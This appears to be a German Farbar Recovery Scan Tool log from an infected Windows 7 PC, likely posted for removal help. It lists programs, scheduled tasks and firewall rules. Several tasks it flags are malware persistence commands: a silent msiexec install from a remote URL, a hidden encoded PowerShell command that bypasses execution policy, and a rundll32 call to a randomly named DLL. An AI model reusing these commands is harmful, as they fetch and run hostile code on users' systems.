2017-04-15 09:36 - 2009-07-14 07:08 - 00000006 ____H C:\Windows\Tasks\SA.DAT
2017-04-15 09:35 - 2017-02-10 08:20 - 00065536 _____ C:\Windows\system32\spu_storage.bin
2017-04-15 08:22 - 2017-02-09 13:35 - 00000000 ____D C:\Windows\system32\MRT
2017-04-15 08:20 - 2017-02-09 13:35 - 148601744 ____C (Microsoft Corporation) C:\Windows\system32\MRT.exe
2017-04-15 07:49 - 2017-01-08 01:53 - 00000000 ____D C:\Users\X\AppData\Local\AMD
2017-04-15 07:39 - 2017-01-08 02:14 - 00000000 ____D C:\Windows\system32\Macromed
2017-04-15 07:31 - 2017-02-09 06:55 - 00000000 ____D C:\Program Files (x86)\Voobly
2017-04-11 02:15 - 2017-01-11 23:43 - 00000000 ____D C:\Users\X\AppData\Roaming\Notepad++
2017-04-11 02:15 - 2017-01-11 23:42 - 00000000 ____D C:\Program Files\Notepad++
2017-04-08 02:03 - 2017-02-15 15:20 - 00000000 ____D C:\Users\X\Documents\aomFiles
2017-04-07 01:45 - 2017-02-10 18:02 - 00000000 ____D C:\Users\X\.gimp-2.8
2017-04-04 22:57 - 2017-02-10 08:57 - 00000000 ____D C:\Users\X\AppData\Roaming\vlc
2017-03-31 15:15 - 2017-01-08 01:33 - 00000000 ____D C:\ProgramData\Package Cache
2017-03-25 18:07 - 2017-01-08 02:13 - 00000000 ____D C:\Users\X\AppData\Local\Adobe
2017-03-22 12:49 - 2017-01-08 01:33 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Avira
2017-03-21 00:15 - 2017-02-13 14:45 - 00000000 ____D C:\Windows\Minidump
2017-03-21 00:15 - 2017-02-13 14:44 - 385086415 _____ C:\Windows\MEMORY.DMP
2017-03-20 21:04 - 2017-03-15 21:03 - 00000000 ____D C:\Windows\system32\SSL
2017-03-20 21:02 - 2017-03-15 21:02 - 00000000 ____D C:\ProgramData\RegisterObject
2017-03-20 18:33 - 2009-07-14 05:20 - 00000000 ____D C:\Windows\rescache
2017-03-20 15:25 - 2017-01-07 23:48 - 00000000 ____D C:\Users\X
2017-03-17 01:02 - 2017-01-07 23:48 - 00000000 ____D C:\Users\X\AppData\Local\VirtualStore
2017-03-16 15:10 - 2017-02-20 02:07 - 00000000 ____D C:\Windows\system32\appmgmt

==================== Dateien im Wurzelverzeichnis einiger Verzeichnisse =======

2017-04-04 05:36 - 2017-04-04 05:36 - 0020164 _____ () C:\Users\X\AppData\Local\recently-used.xbel

==================== Bamital & volsnap ======================

(Es ist kein automatischer Fix für Dateien vorhanden, die an der Verifikation gescheitert sind.)

C:\Windows\system32\winlogon.exe => Datei ist digital signiert
C:\Windows\system32\wininit.exe => Datei ist digital signiert
C:\Windows\SysWOW64\wininit.exe => Datei ist digital signiert
C:\Windows\explorer.exe => Datei ist digital signiert
C:\Windows\SysWOW64\explorer.exe => Datei ist digital signiert
C:\Windows\system32\svchost.exe => Datei ist digital signiert
C:\Windows\SysWOW64\svchost.exe => Datei ist digital signiert
C:\Windows\system32\services.exe => Datei ist digital signiert
C:\Windows\system32\User32.dll => Datei ist digital signiert
C:\Windows\SysWOW64\User32.dll => Datei ist digital signiert
C:\Windows\system32\userinit.exe => Datei ist digital signiert
C:\Windows\SysWOW64\userinit.exe => Datei ist digital signiert
C:\Windows\system32\rpcss.dll => Datei ist digital signiert
C:\Windows\system32\dnsapi.dll => Datei ist digital signiert
C:\Windows\SysWOW64\dnsapi.dll => Datei ist digital signiert
C:\Windows\system32\Drivers\volsnap.sys => Datei ist digital signiert

LastRegBack: 2017-04-05 08:00

==================== Ende von FRST.txt ============================

Addition.txt

Code:

ATTFilter

Zusätzliches Untersuchungsergebnis von Farbar Recovery Scan Tool (x64) Version: 15-03-2017
durchgeführt von X (15-04-2017 11:02:34)
Gestartet von C:\Users\X\Downloads
Windows 7 Professional N Service Pack 1 (X64) (2017-01-07 21:48:44)
Start-Modus: Normal
==========================================================


==================== Konten: =============================

Administrator (S-1-5-21-1784197383-2851143437-1385219817-500 - Administrator - Disabled)
Gast (S-1-5-21-1784197383-2851143437-1385219817-501 - Limited - Disabled)
X (S-1-5-21-1784197383-2851143437-1385219817-1000 - Administrator - Enabled) => C:\Users\X

==================== Sicherheits-Center ========================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er entfernt.)

AV: Avira Antivirus (Enabled - Up to date) {B3F630BD-538D-1B4A-14FA-14B63235278F}
AS: Avira Antivirus (Enabled - Up to date) {0897D159-75B7-14C4-2E4A-2FC449B26D32}
AS: Windows Defender (Disabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}

==================== Installierte Programme ======================

(Nur Adware-Programme mit dem Zusatz "Hidden" können in die Fixlist aufgenommen werden, um sie sichtbar zu machen. Die Adware-Programme sollten manuell deinstalliert werden.)

7-Zip 16.04 (x64) (HKLM\...\7-Zip) (Version: 16.04 - Igor Pavlov)
ACP Application (Version: 2016.1223.1210.58 - Advanced Micro Devices, Inc.) Hidden
Adobe Flash Player 10 ActiveX (HKLM-x32\...\Adobe Flash Player ActiveX) (Version: 10.0.42.34 - Adobe Systems Incorporated)
Adobe Flash Player 25 NPAPI (HKLM-x32\...\Adobe Flash Player NPAPI) (Version: 25.0.0.148 - Adobe Systems Incorporated)
Age of Mythology - The Titans Expansion (HKLM-x32\...\Age of Mythology Expansion Pack 1.0) (Version:  - )
Age of Mythology (HKLM-x32\...\Age of Mythology 1.0) (Version:  - )
AI Suite II (HKLM-x32\...\{34D3688E-A737-44C5-9E2A-FF73618728E1}) (Version: 1.01.40 - ASUSTeK Computer Inc.)
AMD Software (HKLM\...\AMD Catalyst Install Manager) (Version: 9.0.000.8 - Advanced Micro Devices, Inc.)
AoM Map Tool (HKLM-x32\...\AoM Map Tool) (Version:  - )
Atheros Ethernet Utility (HKLM-x32\...\{FB686487-C637-4EEF-BCB1-C92463F2CC05}) (Version: 1.1.0.9 - Atheros Communications Inc.)
Avira Antivirus (HKLM-x32\...\Avira Antivirus) (Version: 15.0.25.172 - Avira Operations GmbH & Co. KG)
Avira Connect (HKLM-x32\...\{0b46d918-af4f-4612-8076-5c0ae67cb2aa}) (Version: 1.2.81.41506 - Avira Operations GmbH & Co. KG)
Avira Connect (x32 Version: 1.2.81.41506 - Avira Operations GmbH & Co. KG) Hidden
Catalyst Control Center Next Localization BR (Version: 2016.1223.1240.22785 - Advanced Micro Devices, Inc.) Hidden
Catalyst Control Center Next Localization CHS (Version: 2016.1223.1240.22785 - Advanced Micro Devices, Inc.) Hidden
Catalyst Control Center Next Localization CHT (Version: 2016.1223.1240.22785 - Advanced Micro Devices, Inc.) Hidden
Catalyst Control Center Next Localization CS (Version: 2016.1223.1240.22785 - Advanced Micro Devices, Inc.) Hidden
Catalyst Control Center Next Localization DA (Version: 2016.1223.1240.22785 - Advanced Micro Devices, Inc.) Hidden
Catalyst Control Center Next Localization DE (Version: 2016.1223.1240.22785 - Advanced Micro Devices, Inc.) Hidden
Catalyst Control Center Next Localization EL (Version: 2016.1223.1240.22785 - Advanced Micro Devices, Inc.) Hidden
Catalyst Control Center Next Localization ES (Version: 2016.1223.1240.22785 - Advanced Micro Devices, Inc.) Hidden
Catalyst Control Center Next Localization FI (Version: 2016.1223.1240.22785 - Advanced Micro Devices, Inc.) Hidden
Catalyst Control Center Next Localization FR (Version: 2016.1223.1240.22785 - Advanced Micro Devices, Inc.) Hidden
Catalyst Control Center Next Localization HU (Version: 2016.1223.1240.22785 - Advanced Micro Devices, Inc.) Hidden
Catalyst Control Center Next Localization IT (Version: 2016.1223.1240.22785 - Advanced Micro Devices, Inc.) Hidden
Catalyst Control Center Next Localization JA (Version: 2016.1223.1240.22785 - Advanced Micro Devices, Inc.) Hidden
Catalyst Control Center Next Localization KO (Version: 2016.1223.1240.22785 - Advanced Micro Devices, Inc.) Hidden
Catalyst Control Center Next Localization NL (Version: 2016.1223.1240.22785 - Advanced Micro Devices, Inc.) Hidden
Catalyst Control Center Next Localization NO (Version: 2016.1223.1240.22785 - Advanced Micro Devices, Inc.) Hidden
Catalyst Control Center Next Localization PL (Version: 2016.1223.1240.22785 - Advanced Micro Devices, Inc.) Hidden
Catalyst Control Center Next Localization RU (Version: 2016.1223.1240.22785 - Advanced Micro Devices, Inc.) Hidden
Catalyst Control Center Next Localization SV (Version: 2016.1223.1240.22785 - Advanced Micro Devices, Inc.) Hidden
Catalyst Control Center Next Localization TH (Version: 2016.1223.1240.22785 - Advanced Micro Devices, Inc.) Hidden
Catalyst Control Center Next Localization TR (Version: 2016.1223.1240.22785 - Advanced Micro Devices, Inc.) Hidden
GameRanger (HKU\S-1-5-21-1784197383-2851143437-1385219817-1000\...\GameRanger) (Version:  - GameRanger Technologies)
Microsoft .NET Framework 4.6.1 (Deutsch) (HKLM\...\{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1031) (Version: 4.6.01055 - Microsoft Corporation)
Microsoft .NET Framework 4.6.1 (HKLM\...\{92FB6C44-E685-45AD-9B20-CADF4CABA132} - 1033) (Version: 4.6.01055 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.17 (HKLM-x32\...\{9A25302D-30C0-39D9-BD6F-21E6EC160475}) (Version: 9.0.30729 - Microsoft Corporation)
Microsoft Visual C++ 2010  x64 Redistributable - 10.0.40219 (HKLM\...\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}) (Version: 10.0.40219 - Microsoft Corporation)
Microsoft Visual C++ 2010  x86 Redistributable - 10.0.40219 (HKLM-x32\...\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}) (Version: 10.0.40219 - Microsoft Corporation)
Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.50727 (HKLM-x32\...\{15134cb0-b767-4960-a911-f2d16ae54797}) (Version: 11.0.50727.1 - Microsoft Corporation)
Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.50727 (HKLM-x32\...\{22154f09-719a-4619-bb71-5b3356999fbf}) (Version: 11.0.50727.1 - Microsoft Corporation)
Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 (HKLM-x32\...\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}) (Version: 11.0.61030.0 - Microsoft Corporation)
Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.21005 (HKLM-x32\...\{7f51bdb9-ee21-49ee-94d6-90afc321780e}) (Version: 12.0.21005.1 - Microsoft Corporation)
Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 (HKLM-x32\...\{050d4fc8-5d48-4b8f-8972-47c82c46020f}) (Version: 12.0.30501.0 - Microsoft Corporation)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (HKLM-x32\...\{f65db027-aff3-4070-886a-0d87064aabb1}) (Version: 12.0.30501.0 - Microsoft Corporation)
Microsoft Visual C++ 2015 Redistributable (x86) - 14.0.24212 (HKLM-x32\...\{462f63a8-6347-4894-a1b3-dbfe3a4c981d}) (Version: 14.0.24212.0 - Microsoft Corporation)
Mozilla Firefox 52.0.2 (x86 en-US) (HKLM-x32\...\Mozilla Firefox 52.0.2 (x86 en-US)) (Version: 52.0.2 - Mozilla)
Mozilla Maintenance Service (HKLM-x32\...\MozillaMaintenanceService) (Version: 52.0.2.6291 - Mozilla)
MSXML 4.0 SP3 Parser (HKLM-x32\...\{196467F1-C11F-4F76-858B-5812ADC83B94}) (Version: 4.30.2100.0 - Microsoft Corporation)
MSXML 4.0 SP3 Parser (KB2758694) (HKLM-x32\...\{1D95BA90-F4F8-47EC-A882-441C99D30C1E}) (Version: 4.30.2117.0 - Microsoft Corporation)
MSXML4 Parser (HKLM-x32\...\{01501EBA-EC35-4F9F-8889-3BE346E5DA13}) (Version: 1.0.0 - Microsoft Game Studios)
Notepad++ (64-bit x64) (HKLM\...\Notepad++) (Version: 7.3.3 - Notepad++ Team)
OBS Studio (HKLM-x32\...\OBS Studio) (Version: 17.0.2 - OBS Project)
OEM Application Profile (HKLM-x32\...\{D9559CE2-9C58-F414-43EA-F908FEA13BB8}) (Version: 1.00.0000 - Ihr Firmenname)
Platform (x32 Version: 1.34 - VIA Technologies, Inc.) Hidden
Python 3.6.0 (32-bit) (HKU\S-1-5-21-1784197383-2851143437-1385219817-1000\...\{8ba65a8c-cb48-4716-bc24-47c148808015}) (Version: 3.6.150.0 - Python Software Foundation)
Python 3.6.0 Add to Path (32-bit) (x32 Version: 3.6.150.0 - Python Software Foundation) Hidden
Python 3.6.0 Core Interpreter (32-bit) (x32 Version: 3.6.150.0 - Python Software Foundation) Hidden
Python 3.6.0 Development Libraries (32-bit) (x32 Version: 3.6.150.0 - Python Software Foundation) Hidden
Python 3.6.0 Documentation (32-bit) (x32 Version: 3.6.150.0 - Python Software Foundation) Hidden
Python 3.6.0 Executables (32-bit) (x32 Version: 3.6.150.0 - Python Software Foundation) Hidden
Python 3.6.0 pip Bootstrap (32-bit) (x32 Version: 3.6.150.0 - Python Software Foundation) Hidden
Python 3.6.0 Standard Library (32-bit) (x32 Version: 3.6.150.0 - Python Software Foundation) Hidden
Python 3.6.0 Tcl/Tk Support (32-bit) (x32 Version: 3.6.150.0 - Python Software Foundation) Hidden
Python 3.6.0 Test Suite (32-bit) (x32 Version: 3.6.150.0 - Python Software Foundation) Hidden
Python 3.6.0 Utility Scripts (32-bit) (x32 Version: 3.6.150.0 - Python Software Foundation) Hidden
Python Launcher (HKLM-x32\...\{A674B2CB-13CA-437B-A215-9DD257959A49}) (Version: 3.6.5835.0 - Python Software Foundation)
RAIDXpert (HKLM-x32\...\InstallShield_{8B76B8E9-F773-4B75-A08C-120079EB765E}) (Version: 3.3.1540.5 - AMD)
RAIDXpert (x32 Version: 3.3.1540.5 - AMD) Hidden
Realtek Ethernet Controller Driver (HKLM-x32\...\{8833FFB6-5B0C-4764-81AA-06DFEED9A476}) (Version: 7.86.508.2014 - Realtek)
Realtek High Definition Audio Driver (HKLM-x32\...\{F132AF7F-7BCA-4EDE-8A7C-958108FE7DBC}) (Version: 6.0.1.6873 - Realtek Semiconductor Corp.)
Update_msi (HKLM-x32\...\{59B5A9CD-253D-4C41-A073-B387D4C9672D}) (Version: 1.0.0 - Default Company Name)
VIA Plattform-Geräte-Manager (HKLM-x32\...\InstallShield_{20D4A895-748C-4D88-871C-FDB1695B0169}) (Version: 1.34 - VIA Technologies, Inc.)
VLC media player (HKLM\...\VLC media player) (Version: 2.2.4 - VideoLAN)
Vulkan Run Time Libraries 1.0.26.0 (HKLM\...\VulkanRT1.0.26.0) (Version: 1.0.26.0 - LunarG, Inc.)

==================== Benutzerdefinierte CLSID (Nicht auf der Ausnahmeliste): ==========================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)


==================== Geplante Aufgaben (Nicht auf der Ausnahmeliste) =============

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

Task: {0152D6A7-BF2F-4FA5-A35D-7D1FFA4D14A4} - System32\Tasks\GoogleUpdateTaskMachineUA => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe 
Task: {05F5B94D-49A2-4952-A200-0D37D20CF150} - System32\Tasks\ASUS\USB 3.0 Boost Service => C:\Program Files (x86)\ASUS\AI Suite II\USB 3.0 Boost\U3BoostSvr.exe 
Task: {0647CE46-D90B-4E96-B69A-83799893F103} - System32\Tasks\Fix It Task => C:\PROGRA~2\FixIt\FIXITM~1.EXE 
Task: {0B064432-12B2-4B4A-A7A4-5DDAEED879B2} - System32\Tasks\Windows-PG => powershell.exe C:\Update\psgo\psgo.ps1
Task: {1AAA4C93-85E1-4DBF-9605-8593B8195A0C} - System32\Tasks\Drderlyguqerk => "msiexec" /i hxxp://d2buh1bf1g584w.cloudfront.net/msi/rel.php?u=ADATAXSU800_2G4320080350&amp;v=20170315 /q <==== ACHTUNG
Task: {3126F72B-4A5A-4A4C-A42D-81F1D88BDC45} - \SystemHealer Monitor -> Keine Datei <==== ACHTUNG
Task: {3B342B6B-EC4A-488D-B327-8001D2238F84} - System32\Tasks\{4055B229-2E58-493D-ABCA-3182438DDC51} => pcalua.exe -a D:\AOM\UK\SETUP.EXE -d D:\AOM\UK
Task: {3DDD536C-D99D-4561-AB42-7BD524A292C7} - System32\Tasks\GoogleUpdateTaskMachineCore => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe 
Task: {414C3111-7D34-43EF-AC7C-A95E5F18A16D} - System32\Tasks\8704n1603n5602H923 => Rundll32.exe "C:\ProgramData\8704n1603n5602H923\8704n1603n5602H923.dll",nHGUnRY <==== ACHTUNG
Task: {42C98D64-6AF2-4196-A17F-003F30A82BC9} - System32\Tasks\Microsoft\Windows\Media Center\RegisterObject => C:\\ProgramData\\RegisterObject\\RegisterObject.exe [2017-03-15] () <==== ACHTUNG
Task: {4F73C4D9-EA6D-4C80-A54A-DC86E44B9D55} - System32\Tasks\{0B047847-047A-087D-7A11-7D0A0D781109} => powershell.exe -nologo -executionpolicy bypass -noninteractive -windowstyle hidden -EncodedCommand OwAgACAAOwA7ACAAIAAgADsAIAAgADsAOwAgACAAOwAgADsAOwA7ACQARQByAHIAbwByAEEAYwB0AGkAbwBuAFAAcgBlAGYAZQByAGUAbgBjAGUAPQAiAHMAdABvAHAAIgA7ACQAcwBjAD0AIgBTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACIAOwAkAFcAYQByAG4AaQBuAGcA (Der Dateneintrag hat 9872 mehr Zeichen). <==== ACHTUNG
Task: {509A9552-A369-4B2C-AB3C-D0789485C255} - System32\Tasks\Sadentphafeing Collector => C:\Program Files (x86)\Qitech\xjket.exe 
Task: {52C77EA3-66E8-4E9A-A178-2037B82FFA1D} - System32\Tasks\ASUS\ASUS AI Suite II Execute => C:\Program Files (x86)\ASUS\AI Suite II\AsRoutineController.exe 
Task: {62C6E7B8-FC56-49D1-8EC1-E1BD075284A6} - System32\Tasks\Adobe Flash Player Updater => C:\Windows\SysWOW64\Macromed\Flash\FlashPlayerUpdateService.exe [2017-04-15] (Adobe Systems Incorporated)
Task: {84DB80CB-DB94-4F06-A760-6B6831DBC649} - \System Healer Task -> Keine Datei <==== ACHTUNG
Task: {B5B211A5-61FF-4EFE-AE17-40F6FBF62102} - \SystemHealer Run Delay -> Keine Datei <==== ACHTUNG
Task: {C628BAB4-C1CB-4DD2-A599-648618332043} - System32\Tasks\StartCN => C:\Program Files\AMD\CNext\CNext\cncmd.exe [2016-12-23] (Advanced Micro Devices, Inc.)
Task: {D7787950-CBFC-4F56-9542-3200F0FE39E6} - System32\Tasks\Milimili => C:\Program Files (x86)\MIO\MIO.exe 
Task: {E59AB3B6-DF73-43B1-B4B8-106B0DA9388E} - System32\Tasks\ASUS\ASUS DigiVRM Help => C:\Program Files (x86)\ASUS\AI Suite II\DIGI+ VRM\VRMHelp.exe 
Task: {FB03636D-ADAE-48C8-8BF6-A4250D33915E} - System32\Tasks\{E1D84DC0-1190-4AC9-A53C-A97749F3AF12} => pcalua.exe -a C:\Users\X\Downloads\AOMAOT\enhancedtooltips.exe -d C:\Users\X\Downloads\AOMAOT

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Aufgabe verschoben. Die Datei, die durch die Aufgabe gestartet wird, wird nicht verschoben.)

Task: C:\Windows\Tasks\GoogleUpdateTaskMachineCore.job => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe
Task: C:\Windows\Tasks\GoogleUpdateTaskMachineUA.job => C:\Program Files (x86)\Google\Update\GoogleUpdate.exe

==================== Verknüpfungen =============================

(Die Einträge können gelistet werden, um sie zurückzusetzen oder zu entfernen.)

==================== Geladene Module (Nicht auf der Ausnahmeliste) ==============

2015-11-13 17:01 - 2015-11-13 17:01 - 00214528 _____ () C:\Program Files\AMD\ATI.ACE\Fuel\Fuel.Container.PerformanceTuning.dll
2014-02-11 07:08 - 2014-02-11 07:08 - 00817152 _____ () C:\Program Files\AMD\ATI.ACE\Fuel\Device.dll
2014-02-11 07:08 - 2014-02-11 07:08 - 03650560 _____ () C:\Program Files\AMD\ATI.ACE\Fuel\Platform.dll
2010-11-28 13:33 - 2010-11-28 13:33 - 00071560 _____ () C:\Program Files (x86)\AMD\RAIDXpert\bin\RAIDXpert.exe
2017-02-10 17:45 - 2013-09-22 11:27 - 00119000 _____ () C:\Program Files (x86)\WizMouse\WizMouse.exe
2016-09-13 02:51 - 2016-09-13 02:51 - 00014336 _____ () C:\Program Files\AMD\CNext\CNext\QtQuick.2\qtquick2plugin.dll
2016-09-13 02:51 - 2016-09-13 02:51 - 00739840 _____ () C:\Program Files\AMD\CNext\CNext\QtQuick\Controls\qtquickcontrolsplugin.dll
2016-09-13 02:51 - 2016-09-13 02:51 - 00014336 _____ () C:\Program Files\AMD\CNext\CNext\QtQuick\Window.2\windowplugin.dll
2016-09-13 02:51 - 2016-09-13 02:51 - 00071168 _____ () C:\Program Files\AMD\CNext\CNext\QtQuick\Layouts\qquicklayoutsplugin.dll
2016-09-13 02:50 - 2016-09-13 02:50 - 00011776 _____ () C:\Program Files\AMD\CNext\CNext\libEGL.dll
2016-09-13 02:50 - 2016-09-13 02:50 - 02013696 _____ () C:\Program Files\AMD\CNext\CNext\libGLESv2.dll
2016-09-13 02:51 - 2016-09-13 02:51 - 00191488 _____ () C:\Program Files\AMD\CNext\CNext\QtQuick\Dialogs\dialogplugin.dll
2010-11-28 13:34 - 2010-11-28 13:34 - 00128904 _____ () C:\Windows\SysWOW64\WinMsgBalloonServer.exe
2010-11-28 13:34 - 2010-11-28 13:34 - 00145288 _____ () C:\Windows\SysWOW64\WinMsgBalloonClient.exe
2010-10-26 20:00 - 2010-10-26 20:00 - 00516096 _____ () C:\Program Files (x86)\AMD\RAIDXpert\bin\libxml2.dll
2017-04-15 09:35 - 2017-04-14 03:30 - 00105472 _____ () c:\programdata\software\apple\apps\notification.dll
2017-03-17 16:35 - 2017-03-17 05:20 - 00126976 _____ () c:\programdata\apple\apple application\devicecfg.dll
2017-03-15 21:02 - 2017-03-15 10:42 - 01982464 _____ () C:\ProgramData\RegisterObject\RegisterObject.exe

==================== Alternate Data Streams (Nicht auf der Ausnahmeliste) =========

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird nur der ADS entfernt.)


==================== Abgesicherter Modus (Nicht auf der Ausnahmeliste) ===================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Der Wert "AlternateShell" wird wiederhergestellt.)


==================== Verknüpfungen (Nicht auf der Ausnahmeliste) ===============

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird der Registryeintrag auf den Standardwert zurückgesetzt oder entfernt.)


==================== Internet Explorer Vertrauenswürdig/Eingeschränkt ===============

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt.)


==================== Hosts Inhalt: ===============================

(Wenn benötigt kann der Hosts: Schalter in die Fixlist aufgenommen werden um die Hosts Datei zurückzusetzen.)

2009-07-14 04:34 - 2009-06-10 23:00 - 00000824 ____N C:\Windows\system32\Drivers\etc\hosts


==================== Andere Bereiche ============================

(Aktuell gibt es keinen automatisierten Fix für diesen Bereich.)

HKU\S-1-5-21-1784197383-2851143437-1385219817-1000\Control Panel\Desktop\\Wallpaper -> C:\Users\X\AppData\Roaming\Microsoft\Windows\Themes\TranscodedWallpaper.jpg
DNS Servers: 192.168.2.1
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System => (ConsentPromptBehaviorAdmin: 0) (ConsentPromptBehaviorUser: 3) (EnableLUA: 1)
Windows Firewall ist aktiviert.

==================== MSCONFIG/TASK MANAGER Deaktivierte Einträge ==

MSCONFIG\Services: asHmComSvc => 2
MSCONFIG\Services: AsSysCtrlService => 2
MSCONFIG\startupreg: ASUS Ai Charger => C:\Program Files (x86)\ASUS\ASUS Ai Charger\AiChargerAP.exe
MSCONFIG\startupreg: Raptr => "C:\Program Files (x86)\Raptr Inc\Raptr\raptrstub.exe" --startup

==================== Firewall Regeln (Nicht auf der Ausnahmeliste) ===============

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)

FirewallRules: [SPPSVC-In-TCP] => (Allow) %SystemRoot%\system32\sppsvc.exe
FirewallRules: [SPPSVC-In-TCP-NoScope] => (Allow) %SystemRoot%\system32\sppsvc.exe
FirewallRules: [{6B0CA9C8-0EEE-4141-B256-E15CE4DC9C72}] => (Allow) C:\Program Files (x86)\Raptr Inc\Raptr\raptr.exe
FirewallRules: [{BB06AEA0-F61F-41C6-A34D-AFB24E29FFAE}] => (Allow) C:\Program Files (x86)\Raptr Inc\Raptr\raptr.exe
FirewallRules: [{C5476547-170B-443F-830C-6575B1B222A0}] => (Allow) C:\Program Files (x86)\Raptr Inc\Raptr\raptr_im.exe
FirewallRules: [{8EE94AB1-C6C0-4A53-B1FE-B52FDC65C94A}] => (Allow) C:\Program Files (x86)\Raptr Inc\Raptr\raptr_im.exe
FirewallRules: [TCP Query User{3167C738-432C-4455-8005-E4C00301FB9E}C:\program files (x86)\voobly\voobly.exe] => (Allow) C:\program files (x86)\voobly\voobly.exe
FirewallRules: [UDP Query User{E5FAFA12-E4EF-4AFD-9DD1-4499AA8C7C05}C:\program files (x86)\voobly\voobly.exe] => (Allow) C:\program files (x86)\voobly\voobly.exe
FirewallRules: [TCP Query User{20751038-54D1-42C5-944D-FA86625A2DE1}C:\program files (x86)\microsoft games\age of mythology\aomxnocd.exe] => (Allow) C:\program files (x86)\microsoft games\age of mythology\aomxnocd.exe
FirewallRules: [UDP Query User{9CF7C4DF-32BF-4B8E-9694-61E4B067EE6D}C:\program files (x86)\microsoft games\age of mythology\aomxnocd.exe] => (Allow) C:\program files (x86)\microsoft games\age of mythology\aomxnocd.exe
FirewallRules: [{C99443B5-BECA-435D-A822-EAE1E904422B}] => (Allow) C:\Program Files (x86)\Raptr Inc\PlaysTV\playstv.exe
FirewallRules: [{A5EBEE9B-CE63-4829-8635-0713DCF82BD2}] => (Allow) C:\Program Files (x86)\Raptr Inc\PlaysTV\playstv.exe
FirewallRules: [{5F430827-9AAA-4841-AC01-D0132C5BE074}] => (Allow) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
FirewallRules: [{78990DF1-05B9-4365-91DD-7D882FE576FF}] => (Allow) C:\Windows\system32\rundll32.exe
FirewallRules: [{22215B8D-B908-4BFA-AF53-493A6C8BD4DD}] => (Allow) C:\Windows\System32\rundll32.exe
FirewallRules: [{A2CB5775-7D6D-4949-8F50-4C246D7F9C9D}] => (Allow) C:\Windows\System32\rundll32.exe
FirewallRules: [{C00ABFFF-3FA1-4D60-8359-C18F676C6774}] => (Allow) C:\Program Files (x86)\Mozilla Firefox\firefox.exe
FirewallRules: [{890597B0-529A-47EB-8DCD-3C4BD25F2E4C}] => (Allow) C:\Program Files (x86)\Mozilla Firefox\firefox.exe
FirewallRules: [TCP Query User{81B2A43D-D6BA-4976-9538-40DE010FF7AF}C:\program files (x86)\microsoft games\age of mythology\aomx.exe] => (Allow) C:\program files (x86)\microsoft games\age of mythology\aomx.exe
FirewallRules: [UDP Query User{AAF0620A-28D0-4A72-A397-E74074C08990}C:\program files (x86)\microsoft games\age of mythology\aomx.exe] => (Allow) C:\program files (x86)\microsoft games\age of mythology\aomx.exe
FirewallRules: [TCP Query User{F9F7CC20-3B35-4C19-B9E3-EAD9A9824625}C:\users\x\appdata\roaming\gameranger\gameranger\gameranger.exe] => (Allow) C:\users\x\appdata\roaming\gameranger\gameranger\gameranger.exe
FirewallRules: [UDP Query User{9FAD20E6-478C-45BE-BDA0-2BD9F5A3DCBD}C:\users\x\appdata\roaming\gameranger\gameranger\gameranger.exe] => (Allow) C:\users\x\appdata\roaming\gameranger\gameranger\gameranger.exe
FirewallRules: [{213DF938-A008-4451-BA2D-79B58E2DED4A}] => (Allow) C:\Program Files (x86)\Alltie\Application\chrome.exe
FirewallRules: [{404E9E2A-DBC2-446F-9D3F-F713411E43BD}] => (Allow) C:\Program Files (x86)\Firefox\bin\FirefoxUpdate.exe
FirewallRules: [{D76FEA9C-423B-4FAC-9300-1B82EC2E3156}] => (Allow) C:\Program Files (x86)\Firefox\Firefox.exe

==================== Wiederherstellungspunkte =========================

31-03-2017 15:15:34 Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.21005
10-04-2017 22:36:21 Removed deskapp
15-04-2017 08:17:32 Windows Update
15-04-2017 10:16:19 Removed Terela

==================== Fehlerhafte Geräte im Gerätemanager =============

Name: Teredo Tunneling Pseudo-Interface
Description: Microsoft-Teredo-Tunneling-Adapter
Class Guid: {4d36e972-e325-11ce-bfc1-08002be10318}
Manufacturer: Microsoft
Service: tunnel
Problem: : This device cannot start. (Code10)
Resolution: Device failed to start. Click "Update Driver" to update the drivers for this device.
On the "General Properties" tab of the device, click "Troubleshoot" to start the troubleshooting wizard.

Name: AODDriver4.01
Description: AODDriver4.01
Class Guid: {8ECC055D-047F-11D1-A537-0000F8753ED1}
Manufacturer: 
Service: AODDriver4.01
Problem: : This device is not present, is not working properly, or does not have all its drivers installed. (Code 24)
Resolution: The device is installed incorrectly. The problem could be a hardware failure, or a new driver might be needed.
Devices stay in this state if they have been prepared for removal.
After you remove the device, this error disappears.Remove the device, and this error should be resolved.


==================== Fehlereinträge in der Ereignisanzeige: =========================

Applikationsfehler:
==================
Error: (04/15/2017 09:40:42 AM) (Source: Microsoft-Windows-LoadPerf) (EventID: 3011) (User: NT-AUTORITÄT)
